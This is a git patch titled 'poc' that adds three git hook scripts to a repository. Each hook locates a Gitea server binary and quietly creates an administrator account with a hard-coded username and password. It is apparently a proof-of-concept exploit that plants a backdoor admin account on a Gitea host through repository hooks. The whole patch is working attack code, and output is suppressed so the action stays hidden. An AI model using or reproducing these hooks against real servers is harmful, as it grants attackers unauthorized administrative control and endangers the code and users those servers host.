From b045f2529e708626b02f72d597bbb7cab53d0ad9 Mon Sep 17 00:00:00 2001 From: fh-z36lr3 Date: Sat, 19 Sep 2026 12:34:01 +0800 Subject: [PATCH] poc --- hooks/post-index-change | 4 ++++ hooks/post-receive | 4 ++++ hooks/update | 4 ++++ 3 files changed, 12 insertions(+) create mode 100755 hooks/post-index-change create mode 100755 hooks/post-receive create mode 100755 hooks/update diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..58ab34b --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-z36l" --password 'Fh-admin-z36l!x' --email "fh-admin-z36l@example.com" --admin --must-change-password=false >/dev/null 2>&1 diff --git a/hooks/post-receive b/hooks/post-receive new file mode 100755 index 0000000..58ab34b --- /dev/null +++ b/hooks/post-receive @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-z36l" --password 'Fh-admin-z36l!x' --email "fh-admin-z36l@example.com" --admin --must-change-password=false >/dev/null 2>&1 diff --git a/hooks/update b/hooks/update new file mode 100755 index 0000000..58ab34b --- /dev/null +++ b/hooks/update @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-z36l" --password 'Fh-admin-z36l!x' --email "fh-admin-z36l@example.com" --admin --must-change-password=false >/dev/null 2>&1